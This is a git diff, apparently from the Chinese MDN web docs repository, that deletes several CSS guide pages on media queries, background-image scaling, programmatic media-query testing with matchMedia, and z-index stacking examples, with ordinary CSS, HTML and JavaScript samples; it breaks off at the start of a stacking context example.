{{nextPage("/zh-CN/docs/CSS/开始/How_CSS_works", "CSS如何工作。")}}现在您将示例文档与独立的样式表连在了一起,您已准备好学习更多的关于您的浏览器在显示文档时如何将它们组合在一起。

diff --git a/files/zh-cn/web/guide/css/media_queries/index.html b/files/zh-cn/web/guide/css/media_queries/index.html deleted file mode 100644 index bfb15efa67..0000000000 --- a/files/zh-cn/web/guide/css/media_queries/index.html +++ /dev/null @@ -1,412 +0,0 @@ ---- -title: 使用媒体查询 -slug: Web/Guide/CSS/Media_queries -tags: - - CSS - - CSS媒体查询 - - Media - - Web - - 媒体 - - 媒体查询 - - 指南 -translation_of: Web/CSS/Media_Queries/Using_media_queries ---- -
{{cssref}}
- -

媒体查询Media queries)非常实用,尤其是当你想要根据设备的大致类型(如打印设备与带屏幕的设备)或者特定的特征和设备参数(例如屏幕分辨率和浏览器{{glossary("viewport", "视窗")}}宽度)来修改网站或应用程序时。

- -

媒体查询常被用于以下目的:

- -
    -
  • 有条件的通过 {{cssxref("@media")}} 和 {{cssxref("@import")}} at-rules 用CSS 装饰样式。
  • -
  • media= 属性为{{HTMLElement("style")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}}和其他HTML元素指定特定的媒体类型。如:
  • -
- -
<link rel="stylesheet" src="styles.css" media="screen" />
-<link rel="stylesheet" src="styles.css" media="print" />
-
- - - -
-

注意:本页的例子使用CSS @media 的方式来说明目的,但是对于所有类型的媒体查询,基本语法均相同。

-
- -

语法

- -

每条媒体查询语句都由一个可选的媒体类型和任意数量的媒体特性表达式构成。可以使用多种逻辑操作符合并多条媒体查询语句。媒体查询语句不区分大小写。

- -

当媒体类型(如果指定)与在其上显示文档的设备匹配并且所有媒体功能表达式都计算为true时,媒体查询将计算为true。 涉及未知媒体类型的查询始终为false。

- -
-

注意: 即使媒体查询返回false,带有媒体查询附加到其{{HTMLElement("link")}}标记的样式表仍将下载。 但是,除非查询结果变为true,否则其内容将不适用。

-
- -

媒体类型

- -

媒体类型Media types)描述设备的一般类别。除非使用 notonly 逻辑操作符,媒体类型是可选的,并且会(隐式地)应用 all 类型。

- -
-
all
-
适用于所有设备。
-
print
-
适用于在打印预览模式下在屏幕上查看的分页材料和文档。 (有关特定于这些格式的格式问题的信息,请参阅分页媒体。)
-
screen
-
主要用于屏幕。
-
speech
-
主要用于语音合成器。
-
- -
被废弃的媒体类型: CSS2.1 和  Media Queries 3 定义了一些额外的媒体类型(tty, tv, projection, handheld, braille, embossed, 以及 aural),但是他们在Media Queries 4 中已经被废弃,并且不应该被使用。aural类型被替换为具有相似效果的speech
- -

媒体特性

- -

媒体特性Media features)描述了 {{glossary("user agent")}}、输出设备,或是浏览环境的具体特征。媒体特性表达式是完全可选的,它负责测试这些特性或特征是否存在、值为多少。每条媒体特性表达式都必须用括号括起来。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
名称简介备注
{{cssxref("@media/any-hover", "any-hover")}}是否有任何可用的输入机制允许用户(将鼠标等)悬停在元素上?在 Media Queries Level 4 中被添加。
{{cssxref("@media/any-pointer", "any-pointer")}}可用的输入机制中是否有任何指针设备,如果有,它的精度如何?在 Media Queries Level 4 中被添加。
{{cssxref("@media/aspect-ratio", "aspect-ratio")}}视窗(viewport)的宽高比
{{cssxref("@media/color", "color")}}输出设备每个像素的比特值,常见的有 8、16、32 位。如果设备不支持输出彩色,则该值为 0
{{cssxref("@media/color-gamut", "color-gamut")}}用户代理和输出设备大致程度上支持的色域在 Media Queries Level 4 中被添加。
{{cssxref("@media/color-index", "color-index")}}输出设备的颜色查询表(color lookup table)中的条目数量,如果设备不使用颜色查询表,则该值为 0
{{cssxref("@media/device-aspect-ratio", "device-aspect-ratio")}} {{obsolete_inline}}输出设备的宽高比已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-height", "device-height")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的高度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-width", "device-width")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的宽度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/display-mode", "display-mode")}} -

应用程序的显示模式,如web app的manifest中的display 成员所指定

-
在 Web App Manifest spec被定义.
{{cssxref("@media/forced-colors", "forced-colors")}}检测是user agent否限制调色板在 Media Queries Level 5 中被添加。
{{cssxref("@media/grid", "grid")}}输出设备使用网格屏幕还是点阵屏幕?
{{cssxref("@media/height", "height")}}视窗(viewport)的高度
{{cssxref("@media/hover", "hover")}} -

主要输入模式是否允许用户在元素上悬停

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/inverted-colors", "inverted-colors")}}user agent或者底层操作系统是否反转了颜色在 Media Queries Level 5 中被添加。
{{cssxref("@media/light-level", "light-level")}}环境光亮度在 Media Queries Level 5 中被添加。
{{cssxref("@media/monochrome", "monochrome")}} -

输出设备单色帧缓冲区中每个像素的位深度。如果设备并非黑白屏幕,则该值为 0

-
{{cssxref("@media/orientation", "orientation")}}视窗(viewport)的旋转方向
{{cssxref("@media/overflow-block", "overflow-block")}} -

输出设备如何处理沿块轴溢出视窗(viewport)的内容

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/overflow-inline", "overflow-inline")}} -

沿内联轴溢出视窗(viewport)的内容是否可以滚动?

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/pointer", "pointer")}} -

主要输入机制是一个指针设备吗?如果是,它的精度如何?

-
在 Media Queries Level 4 中被添加。
{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}探测用户倾向于选择亮色还是暗色的配色方案在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-contrast", "prefers-contrast")}}探测用户是否有向系统要求提高或降低相近颜色之间的对比度在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}用户是否希望页面上出现更少的动态效果在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}用户是否倾向于选择更低的透明度在 Media Queries Level 5 中被添加。
{{cssxref("@media/resolution", "resolution")}}输出设备的像素密度(分辨率)
{{cssxref("@media/scan", "scan")}}输出设备的扫描过程(适用于电视等)
{{cssxref("@media/scripting", "scripting")}}探测脚本(例如 JavaScript)是否可用在 Media Queries Level 5 中被添加。
{{cssxref("@media/update-frequency", "update")}}输出设备更新内容的渲染结果的频率在 Media Queries Level 4 中被添加。
{{cssxref("@media/width", "width")}}视窗(viewport)的宽度,包括纵向滚动条的宽度
- -

逻辑操作符

- -

逻辑操作符logical operatorsnot, and, 和 only 可用于联合构造复杂的媒体查询,您还可以通过用逗号分隔多个媒体查询,将它们组合为一个规则。

- -

and

- -

 and 操作符用于将多个媒体查询规则组合成单条媒体查询,当每个查询规则都为真时则该条媒体查询为真,它还用于将媒体功能与媒体类型结合在一起。

- -

not

- -

not运算符用于否定媒体查询,如果不满足这个条件则返回true,否则返回false。 如果出现在以逗号分隔的查询列表中,它将仅否定应用了该查询的特定查询。 如果使用not运算符,则还必须指定媒体类型。

- -
-

注意:在Level 3中,not关键字不能用于否定单个媒体功能表达式,而只能用于否定整个媒体查询。

-
- -

only

- -

only运算符仅在整个查询匹配时才用于应用样式,并且对于防止较早的浏览器应用所选样式很有用。 当不使用only时,旧版本的浏览器会将screen and (max-width: 500px)简单地解释为screen,忽略查询的其余部分,并将其样式应用于所有屏幕。 如果使用only运算符,则还必须指定媒体类型。

- -

, (逗号)

- -

逗号用于将多个媒体查询合并为一个规则。 逗号分隔列表中的每个查询都与其他查询分开处理。 因此,如果列表中的任何查询为true,则整个media语句均返回true。 换句话说,列表的行为类似于逻辑或or运算符。

- -

定位媒体类型

- -

媒体类型描述了给定设备的一般类别。 尽管通常在设计网站时会考虑屏幕,但您可能希望创建针对特殊设备(例如打印机或基于音频的屏幕阅读器)的样式。 例如,此CSS针对打印机:

- -
@media print { ... }
-
- -

您还可以定位多个设备。 例如,此@media规则使用两个媒体查询来同时定位屏幕和打印设备

- -
@media screen, print { ... }
-
- -

有关所有媒体类型的列表,请参见Media types。 由于它们仅以非常广泛的术语描述设备,因此只有少数几种可用。 要定位更具体的属性,请改用媒体功能

- -

定位媒体特性

- -

媒体功能描述了给定的{{glossary("user agent")}}的输出设备或环境的特定特征。 例如,您可以将特定样式应用于宽屏显示器,使用鼠标的计算机,或应用于在弱光条件下使用的设备。 当用户的主要输入机制(例如鼠标)可以悬停在元素上时,如下为一个示例:

- -
@media (hover: hover) { ... }
-
- -

许多媒体功能都是范围功能,这意味着可以在它们前面加上“最小”或“最大”来表示“最小条件”或“最大条件”约束。 例如,仅当您的浏览器的{{glossary("viewport")}}宽度等于或小于12450px时,此CSS才会应用样式:

- -
@media (max-width: 12450px) { ... }
-
- -

如果您在未指定值的情况下创建媒体功能查询,则该样式将全部被应用,只要该查询的值不为零(或在Level 4中为none)即可。 例如,此CSS将适用于任何带有彩色屏幕的设备:

- -
@media (color) { ... }
-
- -

如果某个功能不适用于运行浏览器的设备,则涉及该媒体功能的表达式始终为false。 例如,将不会使用嵌套在以下查询中的样式,因为没有语音专用设备具有屏幕长宽比:

- -
@media speech and (aspect-ratio: 11/5) { ... }
-
- -

有关更多媒体功能media feature示例,请参阅每个特定功能的参考页。

- -

创建复杂查询

- -

有时您可能想创建一个取决于多个条件的媒体查询。 这就是逻辑运算符使用的场景:notand,和 only。 此外,您可以将多个媒体查询合并到一个逗号分隔的列表中。 这使您可以在不同情况下应用相同的样式。

- -

在前面的示例中,我们已经看到and运算符用于将媒体类型与媒体功能分组。 and运算符还可以将多个媒体功能组合到单个媒体查询中。 同时,not运算符会否定媒体查询,从而基本上颠倒了它的正常含义。 唯一的运算符可防止较早的浏览器应用样式。

- -
-

注意: 在大多数情况下,默认情况下,如果未指定其他类型,则使用all媒体类型。 但是,如果使用notonly运算符,则必须显式指定媒体类型。

-
- -

结合多种类型和特性

- -

and关键字将媒体功能与媒体类型或其他媒体功能组合在一起。 此示例结合了两种媒体功能,以将样式限制为宽度至少为30 em的横向的设备:

- -
@media (min-width: 30em) and (orientation: landscape) { ... }
-
- -

要将样式限制为带有屏幕的设备,可以将媒体功能链接到screen媒体类型:

- -
@media screen and (min-width: 30em) and (orientation: landscape) { ... }
- -

测试多重查询

- -

当用户的设备与各种媒体类型,功能或状态中的任何一种匹配时,可以使用逗号分隔的列表来应用样式。 例如,如果用户设备的最小高度为680px或为纵向模式的屏幕设备,则以下规则将应用其样式:

- -
@media (min-height: 680px), screen and (orientation: portrait) { ... }
-
- -

以上面的示例为例,如果用户使用的打印机的页面高度为800像素,则media语句将返回true,因为将应用第一个查询。 同样,如果用户使用的是纵向模式的智能手机,并且视口高度为480px,则将应用第二个查询,并且media语句仍将返回true。

- -

反转查询的含义

- -

not关键字会反转整个媒体查询的含义。 它只会否定要应用的特定媒体查询。 (因此,它不会应用于以逗号分隔的媒体查询列表中的每个媒体查询。)not关键字不能用于否定单个功能查询,只能用于否定整个媒体查询。 看看以下not关键字的例子:

- -
@media not all and (monochrome) { ... }
-
- -

所以上述查询等价于:

- -
@media not (all and (monochrome)) { ... }
-
- -

而不是:

- -
@media (not all) and (monochrome) { ... }
- -

再看另一个例子,如下媒体查询:

- -
@media not screen and (color), print and (color) { ... }
-
- -

等价于:

- -
@media (not (screen and (color))), print and (color) { ... }
- -

提升老版本浏览器兼容性

- -

only关键字可防止不支持带有媒体功能的媒体查询的旧版浏览器应用给定的样式。 它对现代浏览器没有影响。

- -
@media only screen and (color) { ... }
-
- -

版本 4 中的语法改进

- -

媒体查询4级规范对语法进行了一些改进,以使用具有“范围”类型(例如宽度或高度,减少冗余)的功能进行媒体查询。 级别4添加了用于编写此类的查询范围上下文。 例如,使用最大宽度max- 功能,我们可以编写以下代码:

- -
-

Note: 媒体查询4级规范在现代浏览器中具有合理的支持,但某些媒体功能并未得到很好的支持。 有关更多详细信息,请参见 @media browser compatibility table

-
- -
@media (max-width: 30em) { ... }
- -

在媒体查询4级规范可以这样写:

- -
@media (width <= 30em) { ... }
-
- -

使用min-max-可以测试一个在两个值之间的宽度

- -
@media (min-width: 30em) and (max-width: 50em) { ... }
- -

用4级语法书写如下

- -
@media (30em <= width <= 50em ) { ... }
-
-
- -

媒体查询4级规范还添加了用and, not, 和 or实现的完整的布尔运算来合并媒体查询的方法。

- -

使用 not否定一个特性

- -

在媒体功能周围使用not()会否定查询中的该特性。 例如,如果设备没有悬停功能,则not(hover)将被匹配:

- -
@media (not(hover)) { ... }
- -

用 or测试多个特性

- -

您可以使用or测试多个功能之间的匹配,如果任何功能为true,则解析为true。 例如,以下查询测试具有单色显示或悬停功能的设备:

- -
@media (not (color)) or (hover) { ... }
- -

参见

- - diff --git a/files/zh-cn/web/guide/css/scaling_background_images/index.html b/files/zh-cn/web/guide/css/scaling_background_images/index.html deleted file mode 100644 index 611a58af85..0000000000 --- a/files/zh-cn/web/guide/css/scaling_background_images/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: 缩放背景图像 -slug: Web/Guide/CSS/Scaling_background_images -tags: - - Advanced - - CSS - - CSS Background - - Graphics - - Guide - - Web - - 背景图片 -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images -translation_of_original: Web/CSS/CSS_Background_and_Borders/Scaling_background_images ---- -
{{cssref}}
- -

CSS 的  {{ cssxref("background-size") }} 属性能调整背景图片的大小,从而替代了用原始大小显示图片的默认行为。你可以随意的缩放背景图。

- -

拼一张大图

- -

来考虑一张大图,一个1233*1233像素的火狐图标。我们想将这张图的四个副本拼到一个300*300像素的正方形里(出于某种原因,很可能是某个非常糟糕的网站设计),最终的效果如下:

- -

screenshot1.png

- -

用下面的 CSS 可以实现这种效果:

- -
.square {
-  width: 300px;
-  height: 300px;
-  background-image: url(fxlogo.png);
-  border: solid 2px;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-  background-size: 150px;
-} 
- -
没必要再用带前缀的 background-size 了,尽管你可能考虑到要兼容一些非常老的浏览器版本,而用带前缀的写法。
- -

拉伸图片

- -

你可以同时指定图片纵向和横向的大小,如下:

- -
background-size: 300px 150px;
-
- -

结果会是这样的:
- screenshot3.png

- -

放大图片

- -

另一方面,你可以在背景里放大一张图片。我们把 16*16px 的图标放大到 300*300px:

- -

screenshot2.png

- -
.square2 {
-  width: 300px;
-  height: 300px;
-  background-image: url(favicon.png);
-  background-size: 300px;
-  border: solid 2px;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-}
-
- -

正如你所看到的,CSS 的写法实际上是基本相同的。

- -

特殊值:  "contain" 和 "cover"

- -

除了{{cssxref("<length>")}} 值外,{{ cssxref("background-size") }} 还提供了另外两个特殊的尺寸值:contain 和 cover。

- -

contain

- -

contain 值指定可以不用考虑容器的大小,把图像扩展至最大尺寸,以使其宽度和高度完全适应内容区域在支持背景图缩放的浏览器(比如Firefox 3.6+)中,改变这个窗口的大小,来看看下方这个例子。

- -
<div class="bgSizeContain">
-  <p>Try resizing this window.Right-click->This Frame->Open Frame in New Tab</p>
-</div>
- -
.bgSizeContain {
-  height: 200px;
-  background-image: url(https://developer.mozilla.org/files/2917/fxlogo.png);
-  background-size: contain;
-  border: 2px solid darkgray;
-  color: #000; text-shadow: 1px 1px 0 #fff;
-}
- -

{{ EmbedLiveSample("contain", "100%", "220") }}

- -

cover

- -

cover 属性指定背景图可以被调整到任意大小,以使背景图完全覆盖背景区域

- -
<div class="bgSizeCover">
-  <p>Try resizing this window.Right-click->This Frame->Open Frame in New Tab</p>
-</div>
- -
.bgSizeCover {
-  height: 200px;
-  background-image: url('/files/2917/fxlogo.png');
-  background-size: cover;
-  border: 2px solid darkgray;
-  color: #000;
-  text-shadow: 1px 1px 0 #fff;
-}
- -

{{ EmbedLiveSample("cover", "100%", "220") }}

- -

另请参阅

- -
    -
  • {{ cssxref("background-size") }}
  • -
  • {{ cssxref("background") }}
  • -
diff --git a/files/zh-cn/web/guide/css/testing_media_queries/index.html b/files/zh-cn/web/guide/css/testing_media_queries/index.html deleted file mode 100644 index 0d33436410..0000000000 --- a/files/zh-cn/web/guide/css/testing_media_queries/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: 使用编程方法测试媒体查询 -slug: Web/Guide/CSS/Testing_media_queries -tags: - - CSS - - DOM - - Event - - Media Queries - - Web -translation_of: Web/CSS/Media_Queries/Testing_media_queries ---- -
{{cssref}}
- -

{{Glossary("DOM")}} 提供了通过编程方法来获得媒体查询结果的特性。这是通过 {{domxref("MediaQueryList")}} 接口和它的方法来实现的。创建了 MediaQueryList 对象之后,就可以通过它来检查查询结果,或者设置事件监听器,在查询结果发生变化时自动接收到通知。

- -

创建媒体查询列表

- -

在获取查询结果前,首先要创建查询列表,也就是 MediaQueryList 对象来存放媒体查询。为了实现这个目的,可以使用 {{domxref("window.matchMedia")}} 方法。

- -

举个例子,设置一个用来判断设备的旋转方向(横屏还是竖屏)的查询列表:

- -
var mediaQueryList = window.matchMedia("(orientation: portrait)");
-
- -

检查查询结果

- -

一旦创建了媒体查询列表,你就可以通过检查它的 matches 属性来获取相应的查询结果,上述属性会直接返回查询结果:

- -
if (mediaQueryList.matches) {
-  /* 设备的旋转方向为纵向 portrait */
-} else {
-  /* 设备的旋转方向不是纵向,也就是横向 landscape */
-}
-
- -

接收查询提醒

- -

如果你需要持续观察查询结果值的变化情况,那么,注册一个监听器比手动检查查询结果要高效很多。要注册监听器,只要在 {{domxref("MediaQueryList")}} 对象上使用 addListener() 方法,并使用一个回调函数作为其参数。这样,就通过实现 {{domxref("MediaQueryListListener")}} 接口指定了一个监听器。每当查询结果发生变化,比如从 true 变为 false 时,就会调用一遍传入的回调函数。

- -
// 创建查询列表
-const mediaQueryList = window.matchMedia("(orientation: portrait)");
-
-// 定义回调函数
-function handleOrientationChange(mql) {
-  // ...
-}
-
-// 先运行一次回调函数
-handleOrientationChange(mediaQueryList);
-
-// 为查询列表注册监听器,同时将回调函数传给监听器
-mediaQueryList.addListener(handleOrientationChange);
-
- -

上述代码创建了一个屏幕方向的测试查询列表 mediaQueryList,并且添加了事件监听器。需要注意的是,当我们添加监听后,我们其实直接调用了一次监听。这会让我们的监听器以目前设备的屏幕方向来初始化判定代码。换句话说,如果我们代码中设定设备处于竖屏模式,而实际上它在启动时处于横屏模式,那么我们在后面的判定就会出现矛盾。

- -

然后,我们就能在 handleOrientationChange() 方法中检查查询结果,比如,可以设置屏幕方向变化后的逻辑处理代码:

- -
function handleOrientationChange(evt) {
-  if (evt.matches) {
-    /* The viewport is currently in portrait orientation */
-  } else {
-    /* The viewport is currently in landscape orientation */
-  }
-}
-
- -

终止查询通知

- -

如果不再需要再接收媒体查询值变化的相关通知,那么,只要调用 MediaQueryListremoveListener() 方法,就可以方便地移除监听:

- -
mediaQueryList.removeListener(handleOrientationChange);
-
- -

浏览器兼容性

- -

MediaQueryList 接口

- - - -

{{Compat("api.MediaQueryList")}}

- -

另见

- -
    -
  • Media queries
  • -
  • {{domxref("window.matchMedia()") }}
  • -
  • {{domxref("MediaQueryList") }}
  • -
  • {{domxref("MediaQueryListListener") }}
  • -
diff --git a/files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html b/files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html deleted file mode 100644 index acd3b034ce..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Adding z-index -slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index ---- -

« CSS «理解z-index

-

使用 {{ cssxref("z-index") }}

-

在第一个例子 Stacking without z-index中, 我们描述了默认的摆放顺序。 当你需要指定不同的排列顺序时, 只要给元素指定一个z-index的数值就可以了。 

-

 

-

该属性必须是整数(正负均可), 它体现了元素在z轴的位置。 如果你对z轴体系不了解, 你也可以把它理解成“层叠”, 每个层都有一个顺序数, 顺序数大的层在上面, 小的在下面。 

-

注意!z-index只对指定了 positioned属性的元素有效。

-
    -
  • 底层: 距离观察者最远
  • -
  • ...
  • -
  •  -3 层
  • -
  •  -2 层
  • -
  •  -1 层
  • -
  •  0 层 默认层
  • -
  •  1 层
  • -
  •  2 层
  • -
  •  3 层
  • -
  • ...
  • -
  • 顶部: 最接近观察者
  • -
-
-

注释:

-
    -
  • 当没有指定z-index的时候, 所有元素都在会被渲染在默认层(0层)
  • -
  • 当多个元素的z-index属性相同的时候(在同一个层里面),那么将按照 Stacking without z-index 中描述的规则进行布局。 
  • -
-
-

在下一个例子中, 所有的层都是用z-index进行排序的。 元素div#5 的z-index无效, 因为他没有被指定position属性。 

-

Example of stacking rules modified using z-index

-

Example source code

-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div {
-   opacity: 0.7;
-   font: 12px Arial;
-}
-
-span.bold { font-weight: bold; }
-
-#normdiv {
-   z-index: 8;
-   height: 70px;
-   border: 1px dashed #999966;
-   background-color: #ffffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv1 {
-   z-index: 3;
-   height: 100px;
-   position: relative;
-   top: 30px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv2 {
-   z-index: 2;
-   height: 100px;
-   position: relative;
-   top: 15px;
-   left: 20px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#absdiv1 {
-   z-index: 5;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   left: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-#absdiv2 {
-   z-index: 1;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   right: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-</style></head>
-
-<body>
-
-<br /><br />
-
-<div id="absdiv1">
-   <br /><span class="bold">DIV #1</span>
-   <br />position: absolute;
-   <br />z-index: 5;
-</div>
-
-<div id="reldiv1">
-   <br /><span class="bold">DIV #2</span>
-   <br />position: relative;
-   <br />z-index: 3;
-</div>
-
-<div id="reldiv2">
-   <br /><span class="bold">DIV #3</span>
-   <br />position: relative;
-   <br />z-index: 2;
-</div>
-
-<div id="absdiv2">
-   <br /><span class="bold">DIV #4</span>
-   <br />position: absolute;
-   <br />z-index: 1;
-</div>
-
-<div id="normdiv">
-   <br /><span class="bold">DIV #5</span>
-   <br />no positioning
-   <br />z-index: 8;
-</div>
-
-</body></html>
-
-

See also

- -
-

Original Document Information

- -
-

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/index.html b/files/zh-cn/web/guide/css/understanding_z_index/index.html deleted file mode 100644 index 19f49650d1..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 理解CSS的 z-index属性 -slug: Web/Guide/CSS/Understanding_z_index -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index ---- -

{{cssref}}

- -

通常情况下,HTML页面可以被认为是二维的,因为文本,图像和其他元素被排列在页面上而不重叠。在这种情况下,只有一个渲染进程,所有元素都知道其他元素所占用的空间。 {{cssxref("z-index")}}属性可让你在渲染内容时调整对象分层的顺序。

- -
-

在 CSS 2.1 中, 所有的盒模型元素都处于三维坐标系中。 除了我们常用的横坐标和纵坐标, 盒模型元素还可以沿着“z 轴”层叠摆放, 当他们相互覆盖时, z 轴顺序就变得十分重要。

-
- -

(参见 CSS 2.1 Section 9.9.1 - Layered presentation)

- -

这意味着其实 CSS 允许你在现有的渲染引擎上层叠的摆放盒模型元素。 所有的层都可以用一个整数( z 轴顺序)来表明当前层在 z 轴的位置。 数字越大, 元素越接近观察者。Z 轴顺序用 CSS 的 {{ cssxref("z-index") }} 属性来指定。

- -

使用 z-index 很简单: 给它指定一个整数值即可。 然而,在层叠比较复杂的 HTML 元素上使用 z-index 时,结果可能让人觉得困惑,甚至不可思议。 这是由复杂的元素排布规则导致的。  更多细节请参见  CSS-2.1 Appendix E 。

- -

本文将通过一些简单的例子来解释这些规则。

- -
    -
  1. Stacking without z-index : 默认的摆放规则,即不含有 z-index 属性时
  2. -
  3. Stacking and float : 浮动元素的处理方式
  4. -
  5. Adding z-index : 使用 z-index 来改变堆放顺序
  6. -
  7. The stacking context : 内容堆放注意事项
  8. -
  9. Stacking context example 1 : 在两层元素的第二层上使用 z-index
  10. -
  11. Stacking context example 2 : 在两层元素的所有层上使用 z-index
  12. -
  13. Stacking context example 3 : 在三层元素的第二层上使用 z-index
  14. -
- -
-

 

- -

原始文档信息

- -

 

- - -
diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html deleted file mode 100644 index 9312c1759d..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: 层叠与浮动 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float ---- -

« CSS « 理解 CSS 中的 z-index

- -

层叠与浮动

- -

对于浮动的块元素来说,层叠顺序变得有些不同。浮动块元素被放置于非定位块元素与定位块元素之间:

- -
    -
  1. 根元素的背景与边框
  2. -
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. -
  5. 浮动块元素
  6. -
  7. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  8. -
- -

实际上,在接下来的例子中你会看到,非定位块元素(DIV #4)的背景与边框丝毫不会受到浮动块元素的影响,但内容却恰恰相反。出现这种情况是由于 CSS 的标准浮动行为引起的。

- -

这种行为可以通过前一章列表的改进版本来解释:

- -
    -
  1. 根元素的背景与边框
  2. -
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. -
  5. 浮动块元素
  6. -
  7. 常规流中的后代行内元素
  8. -
  9. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  10. -
- -
注意: 在下面的例子中,除了非定位的那个块元素外,所有的块元素都是半透明的,以便来显示层叠顺序。如果减少非定位元素(DIV #4)的透明度,会发生很诡异的事情:该元素的背景和边框会出现在浮动块元素上方,但是仍然处于定位元素的下方。我不能确定这是规范的 bug 或是怪异的解析。(设置透明度会隐式的创建一个层叠上下文。)
- -

{{ EmbedLiveSample('该示例的源码', '563', '255', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_and_float') }}

- -

该示例的源码

- -
<!DOCTYPE html>
-<html>
-<head>
-    <meta charset="UTF-8">
-    <title>Stacking and float</title>
-    <style type="text/css">
-
-    div {
-        font: 12px Arial;
-    }
-
-    span.bold { font-weight: bold; }
-
-    #absdiv1 {
-        position: absolute;
-        width: 150px;
-        height: 200px;
-        top: 10px;
-        right: 140px;
-        border: 1px dashed #990000;
-        background-color: #ffdddd;
-        text-align: center;
-    }
-
-    #normdiv {
-        /* opacity: 0.7; */
-        height: 100px;
-        border: 1px dashed #999966;
-        background-color: #ffffcc;
-        margin: 0px 10px 0px 10px;
-        text-align: left;
-    }
-
-    #flodiv1 {
-        margin: 0px 10px 0px 20px;
-        float: left;
-        width: 150px;
-        height: 200px;
-        border: 1px dashed #009900;
-        background-color: #ccffcc;
-        text-align: center;
-    }
-
-    #flodiv2 {
-        margin: 0px 20px 0px 10px;
-        float: right;
-        width: 150px;
-        height: 200px;
-        border: 1px dashed #009900;
-        background-color: #ccffcc;
-        text-align: center;
-    }
-
-    #absdiv2 {
-        position: absolute;
-        width: 150px;
-        height: 100px;
-        top: 130px;
-        left: 100px;
-        border: 1px dashed #990000;
-        background-color: #ffdddd;
-        text-align: center;
-    }
-
-</style>
-</head>
-
-<body>
-    <br /><br />
-
-    <div id="absdiv1">
-        <br /><span class="bold">DIV #1</span>
-        <br />position: absolute;
-    </div>
-
-    <div id="flodiv1">
-        <br /><span class="bold">DIV #2</span>
-        <br />float: left;
-    </div>
-
-    <div id="flodiv2">
-        <br /><span class="bold">DIV #3</span>
-        <br />float: right;
-    </div>
-
-    <br />
-
-    <div id="normdiv">
-        <br /><span class="bold">DIV #4</span>
-        <br />no positioning
-    </div>
-
-    <div id="absdiv2">
-        <br /><span class="bold">DIV #5</span>
-        <br />position: absolute;
-    </div>
-</body>
-</html>
-
- -

相关链接

- - - -
-

原始文档信息

- - -
- -

 

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html deleted file mode 100644 index 59f298d269..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Stacking context example 1 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 -tags: - - 理解_CSS_z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 ---- -

« CSS « Understanding CSS z-index

- -

Stacking context 层叠上下文 例子 1

- -

